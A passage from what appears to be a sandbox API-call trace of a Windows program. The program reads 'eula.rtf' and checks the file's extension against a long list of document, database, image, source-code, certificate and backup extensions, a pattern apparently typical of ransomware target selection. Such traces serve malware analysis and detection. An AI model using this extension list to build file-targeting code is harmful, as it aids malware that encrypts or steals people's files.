ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.695] lstrlenW (lpString="eula.rtf") returned 8 [0096.695] lstrlenW (lpString=".1cd") returned 4 [0096.695] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.695] lstrlenW (lpString=".3ds") returned 4 [0096.695] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.695] lstrlenW (lpString=".3fr") returned 4 [0096.695] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.695] lstrlenW (lpString=".3g2") returned 4 [0096.695] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.695] lstrlenW (lpString=".3gp") returned 4 [0096.695] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.695] lstrlenW (lpString=".7z") returned 3 [0096.695] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.695] lstrlenW (lpString=".accda") returned 6 [0096.695] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.695] lstrlenW (lpString=".accdb") returned 6 [0096.696] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.696] lstrlenW (lpString=".accdc") returned 6 [0096.696] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.696] lstrlenW (lpString=".accde") returned 6 [0096.696] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.696] lstrlenW (lpString=".accdt") returned 6 [0096.696] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.696] lstrlenW (lpString=".accdw") returned 6 [0096.696] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.696] lstrlenW (lpString=".adb") returned 4 [0096.696] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".adp") returned 4 [0096.696] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai") returned 3 [0096.696] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.696] lstrlenW (lpString=".ai3") returned 4 [0096.696] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai4") returned 4 [0096.696] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai5") returned 4 [0096.696] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai6") returned 4 [0096.696] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai7") returned 4 [0096.696] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.696] lstrlenW (lpString=".ai8") returned 4 [0096.696] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".anim") returned 5 [0096.697] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.697] lstrlenW (lpString=".arw") returned 4 [0096.697] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".as") returned 3 [0096.697] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.697] lstrlenW (lpString=".asa") returned 4 [0096.697] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".asc") returned 4 [0096.697] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".ascx") returned 5 [0096.697] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.697] lstrlenW (lpString=".asm") returned 4 [0096.697] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".asmx") returned 5 [0096.697] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.697] lstrlenW (lpString=".asp") returned 4 [0096.697] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".aspx") returned 5 [0096.697] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.697] lstrlenW (lpString=".asr") returned 4 [0096.697] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".asx") returned 4 [0096.697] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".avi") returned 4 [0096.697] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.697] lstrlenW (lpString=".avs") returned 4 [0096.698] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".backup") returned 7 [0096.698] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.698] lstrlenW (lpString=".bak") returned 4 [0096.698] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".bay") returned 4 [0096.698] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".bd") returned 3 [0096.698] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.698] lstrlenW (lpString=".bin") returned 4 [0096.698] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".bmp") returned 4 [0096.698] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".bz2") returned 4 [0096.698] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".c") returned 2 [0096.698] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.698] lstrlenW (lpString=".cdr") returned 4 [0096.698] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".cer") returned 4 [0096.698] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".cf") returned 3 [0096.698] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.698] lstrlenW (lpString=".cfc") returned 4 [0096.698] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.698] lstrlenW (lpString=".cfm") returned 4 [0096.698] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".cfml") returned 5 [0096.699] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.699] lstrlenW (lpString=".cfu") returned 4 [0096.699] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".chm") returned 4 [0096.699] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".cin") returned 4 [0096.699] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".class") returned 6 [0096.699] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.699] lstrlenW (lpString=".clx") returned 4 [0096.699] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".config") returned 7 [0096.699] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.699] lstrlenW (lpString=".cpp") returned 4 [0096.699] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".cr2") returned 4 [0096.699] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".crt") returned 4 [0096.699] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".crw") returned 4 [0096.699] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".cs") returned 3 [0096.699] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.699] lstrlenW (lpString=".css") returned 4 [0096.699] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.699] lstrlenW (lpString=".csv") returned 4 [0096.699] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".cub") returned 4 [0096.700] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dae") returned 4 [0096.700] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dat") returned 4 [0096.700] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".db") returned 3 [0096.700] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.700] lstrlenW (lpString=".dbf") returned 4 [0096.700] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dbx") returned 4 [0096.700] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dc3") returned 4 [0096.700] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dcm") returned 4 [0096.700] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dcr") returned 4 [0096.700] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".der") returned 4 [0096.700] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dib") returned 4 [0096.700] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dic") returned 4 [0096.700] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".dif") returned 4 [0096.700] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.700] lstrlenW (lpString=".divx") returned 5 [0096.700] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".djvu") returned 5 [0096.701] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".dng") returned 4 [0096.701] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".doc") returned 4 [0096.701] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".docm") returned 5 [0096.701] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".docx") returned 5 [0096.701] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".dot") returned 4 [0096.701] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".dotm") returned 5 [0096.701] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".dotx") returned 5 [0096.701] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.701] lstrlenW (lpString=".dpx") returned 4 [0096.701] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".dqy") returned 4 [0096.701] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".dsn") returned 4 [0096.701] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".dt") returned 3 [0096.701] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.701] lstrlenW (lpString=".dtd") returned 4 [0096.701] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.701] lstrlenW (lpString=".dwg") returned 4 [0096.701] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".dwt") returned 4 [0096.702] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".dx") returned 3 [0096.702] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.702] lstrlenW (lpString=".dxf") returned 4 [0096.702] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".edml") returned 5 [0096.702] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.702] lstrlenW (lpString=".efd") returned 4 [0096.702] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".elf") returned 4 [0096.702] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".emf") returned 4 [0096.702] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".emz") returned 4 [0096.702] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".epf") returned 4 [0096.702] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".eps") returned 4 [0096.702] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".epsf") returned 5 [0096.702] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.702] lstrlenW (lpString=".epsp") returned 5 [0096.702] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.702] lstrlenW (lpString=".erf") returned 4 [0096.702] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.702] lstrlenW (lpString=".exr") returned 4 [0096.703] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".f4v") returned 4 [0096.703] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".fido") returned 5 [0096.703] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.703] lstrlenW (lpString=".flm") returned 4 [0096.703] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".flv") returned 4 [0096.703] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".frm") returned 4 [0096.703] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".fxg") returned 4 [0096.703] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".geo") returned 4 [0096.703] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".gif") returned 4 [0096.703] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".grs") returned 4 [0096.703] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".gz") returned 3 [0096.703] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.703] lstrlenW (lpString=".h") returned 2 [0096.703] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.703] lstrlenW (lpString=".hdr") returned 4 [0096.703] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.703] lstrlenW (lpString=".hpp") returned 4 [0096.703] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".hta") returned 4 [0096.704] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".htc") returned 4 [0096.704] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".htm") returned 4 [0096.704] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".html") returned 5 [0096.704] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.704] lstrlenW (lpString=".icb") returned 4 [0096.704] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".ics") returned 4 [0096.704] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".iff") returned 4 [0096.704] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".inc") returned 4 [0096.704] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.704] lstrlenW (lpString=".indd") returned 5 [0096.704] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.025] lstrlenW (lpString=".ini") returned 4 [0097.025] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".iqy") returned 4 [0097.025] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".j2c") returned 4 [0097.025] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".j2k") returned 4 [0097.025] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".java") returned 5 [0097.025] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.025] lstrlenW (lpString=".jp2") returned 4 [0097.025] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".jpc") returned 4 [0097.025] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".jpe") returned 4 [0097.025] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".jpeg") returned 5 [0097.025] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.025] lstrlenW (lpString=".jpf") returned 4 [0097.025] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".jpg") returned 4 [0097.025] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.025] lstrlenW (lpString=".jpx") returned 4 [0097.026] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".js") returned 3 [0097.026] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.026] lstrlenW (lpString=".jsf") returned 4 [0097.026] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".json") returned 5 [0097.026] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.026] lstrlenW (lpString=".jsp") returned 4 [0097.026] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".kdc") returned 4 [0097.026] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".kmz") returned 4 [0097.026] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".kwm") returned 4 [0097.026] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".lasso") returned 6 [0097.026] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.026] lstrlenW (lpString=".lbi") returned 4 [0097.026] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".lgf") returned 4 [0097.026] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".lgp") returned 4 [0097.026] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".log") returned 4 [0097.026] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".m1v") returned 4 [0097.026] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.026] lstrlenW (lpString=".m4a") returned 4 [0097.026] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".m4v") returned 4 [0097.027] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".max") returned 4 [0097.027] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".md") returned 3 [0097.027] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.027] lstrlenW (lpString=".mda") returned 4 [0097.027] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mdb") returned 4 [0097.027] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mde") returned 4 [0097.027] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mdf") returned 4 [0097.027] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mdw") returned 4 [0097.027] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mef") returned 4 [0097.027] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mft") returned 4 [0097.027] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mfw") returned 4 [0097.027] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mht") returned 4 [0097.027] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.027] lstrlenW (lpString=".mhtml") returned 6 [0097.027] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.027] lstrlenW (lpString=".mka") returned 4 [0097.027] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mkidx") returned 6 [0097.028] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.028] lstrlenW (lpString=".mkv") returned 4 [0097.028] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mos") returned 4 [0097.028] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mov") returned 4 [0097.028] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mp3") returned 4 [0097.028] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mp4") returned 4 [0097.028] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mpeg") returned 5 [0097.028] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.028] lstrlenW (lpString=".mpg") returned 4 [0097.028] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mpv") returned 4 [0097.028] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mrw") returned 4 [0097.028] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".msg") returned 4 [0097.028] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".mxl") returned 4 [0097.028] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".myd") returned 4 [0097.028] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".myi") returned 4 [0097.028] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.028] lstrlenW (lpString=".nef") returned 4 [0097.029] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".nrw") returned 4 [0097.029] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".obj") returned 4 [0097.029] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".odb") returned 4 [0097.029] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".odc") returned 4 [0097.029] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".odm") returned 4 [0097.029] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.029] lstrlenW (lpString=".odp") returned 4 [0097.029] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".ods") returned 4 [0097.030] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".oft") returned 4 [0097.030] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".one") returned 4 [0097.030] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".onepkg") returned 7 [0097.030] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.030] lstrlenW (lpString=".onetoc2") returned 8 [0097.030] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.030] lstrlenW (lpString=".opt") returned 4 [0097.030] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".oqy") returned 4 [0097.030] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".orf") returned 4 [0097.030] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".p12") returned 4 [0097.030] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".p7b") returned 4 [0097.030] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".p7c") returned 4 [0097.030] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".pam") returned 4 [0097.030] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".pbm") returned 4 [0097.030] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".pct") returned 4 [0097.030] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.030] lstrlenW (lpString=".pcx") returned 4 [0097.031] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pdd") returned 4 [0097.031] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pdf") returned 4 [0097.031] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pdp") returned 4 [0097.031] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pef") returned 4 [0097.031] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pem") returned 4 [0097.031] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pff") returned 4 [0097.031] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pfm") returned 4 [0097.031] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pfx") returned 4 [0097.031] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".pgm") returned 4 [0097.031] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".php") returned 4 [0097.031] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.031] lstrlenW (lpString=".php3") returned 5 [0097.031] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.031] lstrlenW (lpString=".php4") returned 5 [0097.031] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.031] lstrlenW (lpString=".php5") returned 5 [0097.031] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.031] lstrlenW (lpString=".phtml") returned 6 [0097.031] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.032] lstrlenW (lpString=".pict") returned 5 [0097.032] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.032] lstrlenW (lpString=".pl") returned 3 [0097.032] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.032] lstrlenW (lpString=".pls") returned 4 [0097.032] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.032] lstrlenW (lpString=".pm") returned 3 [0097.032] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.032] lstrlenW (lpString=".png") returned 4 [0097.032] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.032] lstrlenW (lpString=".pnm") returned 4 [0097.032] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.032] lstrlenW (lpString=".pot") returned 4 [0097.032] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.032] lstrlenW (lpString=".potm") returned 5 [0097.032] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.032] lstrlenW (lpString=".potx") returned 5 [0097.032] lstrcmpiW 